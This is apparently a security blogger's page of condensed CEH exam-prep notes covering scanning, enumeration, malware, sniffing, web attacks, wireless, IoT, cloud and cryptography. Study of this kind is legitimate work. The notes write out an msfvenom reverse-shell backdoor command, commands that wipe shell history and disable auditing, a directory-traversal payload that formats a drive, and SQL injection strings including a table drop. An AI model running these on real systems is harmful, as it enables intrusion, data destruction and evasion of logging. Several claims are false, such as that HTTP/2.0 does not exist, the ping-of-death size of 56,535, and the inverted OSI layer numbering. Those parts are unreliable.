boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources
boot767 notes · 24 posts

Every Shell Leaves a Trace

I keep what I learn about offensive security here: my notes from CTFs, certifications and university, plus the walkthroughs I write when a box is worth sharing. It's organized the way I work a box. Recon first, then a foothold, then privilege escalation, then the rest of the network.

latest transmission · 2026-11-19Collection of OSINT Tools and Resources

Compiled Notes

Compiled exam-prep notes for the CEH, grouped by module range. These are condensed facts and testable points, kept as a reference cheat sheet.

Modules 1 - 4

Enumerate = make a map/list of a target. Deleting DNS records stops someone from enumerating the network.

CIA Triad

Confidentiality (Active Directory, Access Lists, Groups and Permissions) Integrity (Hashing -- a file/directory has a hash like IPFS; anytime something changes, the hash changes -- might be on test) Availability (Fault Tolerance, RAID arrays, UPS, Clusters and load balancing) IF SAFETY ON TEST, CORRECT ANSWER

Weaponization: selects or creates a tailored, deliverable malicious payload using an exploit.

Regularly test security systems and processes.

SOX (Sarbanes Oxley Act) = covering up fraud, lying to investors.

Risk math:

SLE = AV * EF
$1 MIL * 25% = $250K

ALE = SLE * ARO
$250K * 2 = $500K

Too much info on a whois lookup = spam and social engineering.

netcraft = subdomains and other domains.

TCP sequence numbers: SEQ # 1, 2, 3 => and <= 4 back.

Nmap Notes

nmap -sT -F -oX "c:\Users\Admin\Desktop\text.xml" 10.10.10.19

If you see ftp_anon_scripts or http_methods on a test, then more than likely it's a -A "aggressive" scan.

Host fingerprinting by response:

Port filtered = stateful firewall.

IPID increases by "2" = port open. IPID increases by "1" = port closed ... -sI is the idle scan.

Linux = 64 TTL. Windows = 128 TTL.

Subnet (Ex: 172.0.0.0/8, 172.16.0.0/16, 172.16.2.0/24)

Always use SNMP3 ... encrypts passwords and messages.

NetBIOS code = 03 <messenger service=""> * TESTABLE </messenger>

LBMIB2.MIB = contains object types for workstation and server services.

LDAP Port = 389 (TCP). JXplorer = LDAP enumeration tool. SMTP = VRFY - validate users ... VRFY Jonathan > 250 Super-User name@mail.com

dig ns www.sitenamehere.com
dig AXFR ns www.sitenamehere.com => dumps all data to a file
dig @ns1.bluehost.com www.certifiedhacker.com axfr

testable => zone transfer ALL command for Linux

nslookup:

set querytype=soa certifiedhacker.com ls -d ns1.bluehost.com ^ testable = zone transfer ALL command for Windows

Use NTLM or any basic authentication mechanism to limit access to legitimate users only.

Use SFTP or FTPS (secure FTP, FTP secure).

Never use FTP since it's unencrypted -- a good way to catch traffic is to sit and sniff port 21 until a connection establishes. It pulls the username and password.

Hping uses TCP by default.

To Remember

SYN/ACK back means open. RST means it's closed. No reply means filtered.

NetBIOS enumeration with nbtstat:

nbtstat -a
nbtstat -a 10.10.10.10
nbtstat -c
unicornscan 14.172.29.5 -Iv

If the port is closed, RST.


Modules 5 - 10

Vulnerability Scoring: CVSS v3.0 Ratings (will be on the test):

Vulnerability Assessment Phase

Identify false positives and false negatives.

False negatives are the worse: it completely misses an actual vulnerability on the system.

Host-based Assessment = conducts a configuration-level check to identify system configurations, user directories, file systems, registry settings, etc., to evaluate the possibility of compromise.

Wireless Network Assessment = determines the vulnerabilities in the organization's wireless networks.

This type of assessment tests wireless networks and identifies rogue networks that may exist within an organization's perimeter.

Nikto = Web Server Vuln Scanner.

Relative ID (RID) or Security ID (SID)

rocky.txt = common password file (search for it -- 8.4 Billion passwords). Rainbow Tables take hashes and match them to a password file. Salt goes great on a hash -- enable salting for login/password security.

L0pht crack = audit password files and crack user passwords.

Always disable NTLM and use Kerberos for password storage.

Buffer overflow: 0x90x90x90x90x90x90x90 = tells the CPU to do nothing. Overflow the memory storage until flooded, then run code after x90 with malicious intent to backdoor the machine.

LHOST = attacker host (me).

msfvenom -p windows/meterpreter/reverse_tcp --platform windows -a x86 -e x86/shikata_ga_nai -b "\x00" LHOST=10.10.10.13 -f exe > Desktop/backdoor.exe

payload ^attack ^remove bad buffer ^file output

Horizontal and Vertical escalation.

Kernel Level Rootkit = adds malicious code or replaces the original OS kernel and device driver codes.

auditpol /disable

Covering BASH (Born Again Shell) Shell Tracks

export HISTSIZE=0
history -c
history -w

Always get rid of .bash_history:

shred ~/.bash_history && cat /dev/null > ~.bash_history && history -c && exit

Cleanup / maintenance commands:

sudo ufw
sudo clamscan --infected --remove --recursive /home/kali/Desktop
sudo bash -c "apt-get update && apt-get -y upgrade && apt-get -y autoremove && apt-get -y clean"

TCP over DNS (program) => run the server piece at house, run the client piece at work.

DNS Port = 53.

DNS Tunneling = attackers can use DNS tunneling to encode malicious content or data of other programs within DNS queries and replies. Creates a back channel to access remote server data.

Steganography = hiding data in plain sight, within text/sound/image/any type of files.

SNOW reads tabs and spaces to break down binary 0's and 1's to decipher steganographic content.

CHNTPW - Change NT Password

On a specific Ubuntu Live CD => testable question.

Meterpreter command in Metasploit to do privilege escalations is getsystem.

shellshock = UNIX/LINUX based systems vulnerability. Doesn't affect Windows based systems.

What Linux command displays a file's contents to the command prompt? CAT.

Advanced Persistent Threat (APT) Cycle

Preparation (research target, initial stage) Initial Intrusion (deploy malware and establish outbound connections) - testable Expansion (expand access and obtain credentials) Persistence (maintain access) Search and Exfiltration (exfiltrate) Cleanup (cover tracks)

Elite Wrap = wrapper for binding a legit program and trojan together => the program still works as expected, but the trojan runs as well. RAT = Remote Access Trojans. Botnet Trojans.

A virus is a self-replicating program that produces its own copy by attaching itself to another program, computer boot sector or document.

Requires a human to interact for it to infect another computer Worms can self propagate to other computers

Which type of malware often attacks MS Office products? Macros.

Cavity Virus.

Cryptojacking = install crypto mining software on a target victim's PC and use their CPU.

virustotal.com = scans files and URLs for virus signatures.

Boot Sector Virus: moves the boot record somewhere else, doesn't attach to it.

What's the biggest threat to backup tapes? Them being unencrypted.

Promiscuous mode allows the NIC of a system to listen to all the data transmitted on segments (packets).

Sniffing types:

Protocols Vulnerable to Sniffing: Telnet / HTTP / POP / IMAP / FTP.

OSI Model (Need To Know)

Sniffers operate at the "data link layer" - Layer 2 - of the OSI model (testable).

SPAN port = receives copies of every packet that passes through a switch.

What protocol maps IP addresses to MAC? ARP.

Port Security stops MAC Address spoofing. Only one MAC address allowed to be used on the switch at a time.

MAC <flooding> </flooding>

  1. Spoof MAC Address many times
  2. Attacking the switch to fill up the CAM table
  3. Makes the switch like a Hub (all traffic broadcasted to everyone -- put NIC in promiscuous mode to intercept traffic)

ARP <poisoning> </poisoning>

Resolves 32-bit IP addresses (IPv4) to 48-bit MAC addresses => Address Resolution Protocol (ARP).

  1. Spoof IP Address
  2. Attacking workstations or endpoints ARP table
  3. Sets us up as a MITM

DHCP Starvation/Rogue DHCP Server (Yersinia Program): takes over all IPs in a DHCP server to take control.

Port Security prevents this type of attack.

DAI = Dynamic ARP Inspection => inspects everyone's traffic and compares to the CAM table. Now no one can spoof MAC/IPs if this is turned on.

How do you stop a rogue DHCP server and starvation technique? DAI/Port Security and DHCP Snooping.

STP (Spanning Tree Protocol) Attack: attackers configure the rogue switch such that its priority is less than that of any other switch in the network.

DNS Cache Poisoning: altering or adding forged DNS records to the DNS resolver cache so that a DNS query is redirected to a malicious site.

DNSSEC => digital certificates to sign the DNS data coming from an authentic source. Prevents DNS cache poisoning.

Rogue Router with altered priority of 0 will allow it to intercept all network traffic.

Default view in Wireshark is Hexadecimal.

tcp.port==80 will allow HTTP intercept in Wireshark.

ping -t address -s 1400

Ping of Death Attack: 56,535 is supposed to be max ... but an attack on older OS's can crash them with a ping size of 56,538 or higher.

Slowloris Attack = DOS Attack against an HTTP server.

To build a Botnet, you can do what's called "Hit-List Scanning" by gathering a list of vulnerable machines and injecting them with malware, taking control and commanding them to run the rest of the "hit-list" scan to speed up the process.


Modules 11 - 15

Servers should always generate the Session ID. If it doesn't, then we can manipulate it. Session Fixation: an attack that allows an attacker to hijack a valid user session. We dictate the ID, fixate it. Session Donation: an attack that donates an attacker's own Session ID to the target user.

IPSEC - IP Security (Layer 3 Protocol): used to create VPN tunnels. Can authenticate the sender, has the data (as an integrity check), and can encrypt the payload and/or headers for confidentiality.

IPSEC and need confidentiality? Use ESP (Encapsulating Security Payload).

Tran your LAN and tunnel through the internet. Transport protocol

IDLE scan can still do a port scan even if the FIREWALL is blocking all traffic.

SNORT is an intrusion detection software.

straight up packet sniffer packet logger can be used as a NIDS --public signature file, "gold standard" to configure SNORT

Heuristics = behavior based.

Signature recognition is used to find known threats. Anomaly detection is used to find behavioral based threats (zero days).

source -> destination is the common structure for firewall rule

source ^destination ^pipes required for SNORT to see HEX

Packet filter can only look at IP and Ports.

A packet filtering firewall ONLY inspects the headers (does not look at the payload).

STUDY OSI MODEL

Circuit-level gateways work at the SESSION LAYER of the OSI Model.

Application-level gateways examine traffic and filter on application-specific commands such as http:post and get.

All People Seem To Need Data Processing = OSI Model Layers =>

  1. Application
  2. Presentation
  3. Session
  4. Transport
  5. Network
  6. Data Link
  7. Physical

Stateful Multilayer Inspection Firewall: combines the aspects of the other three types: Packet Filtering, Circuit-Level Gateways, and Application-Level Firewalls.

Obfuscating is an IDS evasion technique used by attackers who encode the attack packet payload in such a way that the destination host can decode the packet but not the IDS.

Unicode Evasion Technique: attackers can convert attack strings to unicode characters to avoid pattern signature matching at the IDS.

Because of this complexity, some IDS systems handle unicode improperly, as unicode allows multiple interpretations of the same characters.

Session Splicing Technique: splicing packets across several sessions.

MTU = Maximum Packet Size => Setting on Router.

Closed Port will return RST. Filtered Port means it will give no reply.

Tools such as NSTX will allow DNS tunneling.

IP Address Classes

Private IP Address (for local network - known as RFC 1918):

HoneyD: send SYN, get SYN/ACK back, then send ACK. To find out if it's HoneyD, if we get one SYN/ACK back then it's a honeypot.

Directory traversal example payload:

/../../winnt/system32/cmd.exe?/C+format c.

If a question has ../../../../, then it's a directory traversal attack. To block it, enable input validation to deny moving through the folder structure.

php.ini is verbose error messages on Windows. httpd.conf is on the Apache server for Linux.

Server-Side Request Forgery (SSRF) Attack: send crafted requests to the internal or back end servers -> attackers get the server to do the attack for them.

Telnet: technique probes HTTP servers to determine the server field in the HTTP response header.

telnet www.moviescope.com 80 [enter] GET / HTTP/1.0 [enter - twice]

Can use Telnet or Netcat for Banner-Grabbing.

Which of the following is common for web servers? Missing patches.

HTTP/2.0 does not exist. Answer will either be HTTP/1.0 or 1.1.

nc -vv www.website.com 80 [enter]

GObuster: brute force popular web server folders with a wordlist.

Nikto does a web server vulnerability scan.

Run processes using least privileged accounts, as well as least privileged service and user accounts.

Connection String Parameter Pollution (CSPP): semicolon as a separator to do an attack.

What are Webhooks? User-defined HTTP callbacks or push APIs that are raised based on events triggered, such as receiving a comment on a post or pushing code to the registry.

Webhooks allow applications to update other applications with the latest information.

What is Fuzzing? Huge amounts of random data called 'fuzz'. Just trying to crash the app.

FIREWALLS FILTER TRAFFIC "KEY WORDS"

APPLICATION LAYER 7 FIREWALL

WAF - Web Application Firewall: scans SQL Injection, XSS, CSRF, Directory Traversal, Input Validation/Manipulation.

Parameter, URL, Query/string tampering is to manipulate a URL as an attack.

wget "-S" is used to do a banner grab

SQL Injection is a technique used to take advantage of un-sanitized input vulnerabilities to pass SQL commands through a web application for execution by a backend database.

Input into form field: Blah' or 1=1-- (or 2=2, etc...)

SELECT Count(*) FROM Users WHERE UserName='Black' or 1=1 --' AND Password=' Springfield'

UNION SQL Injection joins a forged query to the original query -> piggybacks to a legit query.

Blind SQL Injection is used when a web application is vulnerable to a SQL injection, but the results of the injection are not visible to the attacker -> NO ERROR MESSAGE.

certifiedhacker'; drop table orders --
WAITFOR DELAY '0:0:10'--

This is just like sleep, wait for a specified time. The CPU is a safe way to make a database wait.

Boolean = 2 values, "Yes or No", "On or Off", "Up or Down", etc...

Disable commands like xp_cmdshell so attackers can't run database commands on a web facing server.

Single Quote > ' < input into a form can test if there's input validation. If it comes right from the MySQL Server Database then the database doesn't filter out injections.

SQL comment syntax:

-- = end of line comment
/* .... */ = middle of the line comment

Modules 16 - 20

What's the successor to WEP that didn't require an upgrade in hardware? WPA.

Simultaneous Authentication of Equals (SAE) is used in WPA3.

Enterprise for WPA2 is 802.1x.

802.1x forces authentication. forces port-authentication

Can crack WEP authentication in seconds.

802.11 standards:

KRACK attack is an attack on WPA2 to cause a reinstall of an old encryption key.

Downgrade attack will cause people to connect to your "Evil Twin" and use a lower encryption method like WPA2 to WEP, or WPA3 to WPA2.

Dragonblood is a set of vulnerabilities in the WPA3 security standard.

NetAnalyzer Pro = cost around $5.

Evil Twin = a wireless AP that pretends to be a legitimate AP by replicating another network name. Used to lure victims to it for malicious intent.

Evil twin is the correct answer if it shows up on a question along with rogue access point.

aLTEr Attack installs a virtual fake cell (communication) tower.

Disable SSID broadcasts. Enable MAC Address filtering on AP or router.

Layer 2 header contains MAC address.

Cognitive Radio forces wireless points to move to a new channel if there's a breach. "Wireless Intrusion Prevention", like an unauthorized AP.

Btljack -t = allows you to hijack a bluetooth connection (-t = "takeover").

Bettercap / Ettercap = used for wireless MITM attacks.

Don't use WPS! Can use a tool called REAVER to brute force the PIN.

Agent Smith Attack (Mobile Hack for Android) = malicious app replaces legitimate apps, such as WhatsApp, and then floods with advertisements.

Rooting = Android. Jailbreak = iPhone.

AndroidManifest.xml is a mandatory file that all Android apps need to have. Contains app package name, version information, app components, requested permissions.

BroadcastReceiver = for Android and is part of the Manifest.xml file. What broadcastreceivers, services are needed? AndroidManifest.xml.

When you Jailbreak your iPhone, you're "patching the kernel" with different files temporarily.

Untethered Jailbreaking = doesn't need the help of a computer, is able to boot up and the kernel will be patched on its own.

Tethered Jailbreaking = requires a computer to boot up or it will brick.

iOS Trustjacking = vulnerability that exploits the "iTunes Wi-Fi Sync" feature, where the victim connects their phone to any trusted computer that is already infected by an attacker. Allows the attacker to read messages and emails and capture sensitive information from a remote location without the victim's knowledge.

Trident = Spyware that attacks an iPhone to spy on the user.

Spearphone Attack = Android malicious app that allows the attacker to listen to what's coming out of the phone speaker.

ZigBee = very short range WiFi channel (like 30 ft). Low speed, and very low power.

SDR-Based Attacks on IoT:

Replay Attack: Attacker obtains the specific frequency used for sharing info between connected devices and captures the original data when a command is initiated by these devices. The attacker segregates the command sequence and injects it into the IoT network.

Mirai Malware: infected IoT devices all over the country, turned them into a Botnet and attacked a DNS server on the west coast.

Shodan queries:

webcamxp country:"US" webcamxp city:"streetsboro" webcamxp geo:"-50,80,39,12"

FCC ID helps in finding details and granted certs of devices.

Grantee ID and Product ID Website: http://www.fcc.gov/oet/ea/fccid

Defend against IoT Hacking: Monitor traffic on Port 48101 (Mirai Port #) *TESTABLE.

What is OT (Operational Technology)? SCADA Systems.

Scanning Ethernet/IP Devices for SCADA Systems

nmap -Pn -sU -p 44818 --script enip-info <target ip=""> ^Ethernet Internet IP *TESTABLE </target>

Nessus can scan ICS and SCADA systems for vulnerabilities.

Flowmon: Monitors the flow of data on your OT Systems.

IoTSeeker = Searches IoT devices that are using default credentials.

Censys = another IoT search engine like Shodan.

Cloud Computing Service Models

SaaS -> Software as a Service: End Users (Software to subscribers -- Webmail, Google Docs, Calendars, etc...) PaaS -> Platform as a Service: Application Developers (Amazon Web Service -- like iLab) IaaS -> Infrastructure as a Service: Network Architecture (Bunch of Servers, One Drive) IDaaS -> ID as a Service CaaS ->

Cloud deployment types:

NIST Cloud Deployment Reference Architecture:

Cloud Carrier: like an ISP, provides connectivity and transports Cloud Consumer: the user Cloud Provider: provides service Cloud Auditor: assess services Cloud Broker: HELPS manage policies, use, relationships between providers and consumers -> Cloud Access Security Broker (CASB): Software or Third Party Company to enforce all the compliance/governance rules.

Container is essentially a tiny Linux OS VM that has just 1 application in it. Immutable, can't tamper or install malware to it. use docker to run containers (kinda like VirtualBox)

Container Architecture

Docker Daemon: dockerd processes the API requests and handles objects, images, networks. Docker Client: docker run passes to dockerd and executes them. Just an interface.

Kubernetes (means steer ship) = orchestrator.

Cloud Hopper Attack: triggered at the managed service providers (MSP) and their users.

Initiates spear-phishing emails with custom-made malware to compromise the accounts of staff or cloud service firms to obtain confidential information.

Zero Trust Networks: every connection or transaction will need to be verified first. Never trust a connection based on location or IP address.

Cloudborne attack: targets a bare-metal cloud server to implant a malicious backdoor in its firmware.

Cryptography

Symmetric Encryption: Encrypt with Taco and Decrypt with the word Taco. Asymmetric Encryption: Private can decrypt Public Key, Public can decrypt Private Key -> very important to remember this rule!

Always sign the hash with the private key. When sending the message, the sender's public key goes to the receiver to decrypt.

Bulk (LARGE) Encryption = has to be a Symmetric Encryption.

Variable Size Message and Fixed Size Outputs <-

DRA (Data Recovery Agent): Key escrow, to store a private key and recover it. ONLY EXCEPTION TO STORE PRIVATE KEYS.

NEVER GIVE OUT PRIVATE KEY.

Your certificate = your public key signed by a trusted 3rd Party. Certificate = public key.

SHA-256 = Secure Hashing Algorithm.

Data Encryption Standard (DES) = First widely employed algorithm. Uses 56-bit keys. Advanced Encryption Standard (AES) = 128-bit block size with key sizes of 128, 192, and 256 bits for AES-128, AES-192, and AES-256.

RC4 = symmetric key stream cipher.

Twofish = uses a block size of 128 bits and key sizes up to 256 bits. It is a Feistel Cipher. Slower than AES.

Rivest Shamir Adleman (RSA) = Asymmetric Encryption.

HEX = 4 bits or nibble.

MD5 = 128 bit, 32 HEX character string.

SHA-1 160-bits, 40 HEX character string.

Elliptic Curve Cryptography: The cryptosystem in ECC depends on number theory and mathematical elliptic curves (algebraic structure). ECC is a modern public-key cryptography developed to avoid larger cryptographic key usage.

Quantum Cryptography: What kind of key distribution is used where the receiver will automatically know if it was tampered with.

TPM = Trusted Platform Module is a crypto-processor or chip that is present on the motherboard that can securely store the encryption keys, and it can perform many cryptographic operations.

Pretty Good Privacy (PGP)

Hybrid Key Exchange Asymmetric Algo for key exchange (RSA) Symmetric uses IDEA as a 1 time key exchange "transport" between recipients

Certificate Validation = process of checking a cert is authentic.

Adaptive Chosen-plaintext Attack: series of interactive queries, choosing subsequent plaintexts based on the information from the previous encryptions.

Rubber Hose Attack = extraction of cryptographic secrets (password to an encrypted file) from a person by coercion or torture.

Collision Resistance. Computationally Infeasible.

SSL = TLS v1.1, 1.2, or 1.3.

DUHK (Don't Use Hard-Coded Keys) Attack: a cryptographic vulnerability that allows an attacker to obtain encryption keys used to secure VPNs and web sessions.

DROWN Attack: makes the attacker decrypt the latest TLS connection between the victim client and server by launching malicious SSLv2 probes and grabbing the private key, which can decrypt the TLS public key.

Substitution => Swap Letter Out. Transposition => Move letters around.

Web of Trust = "ring of public keys".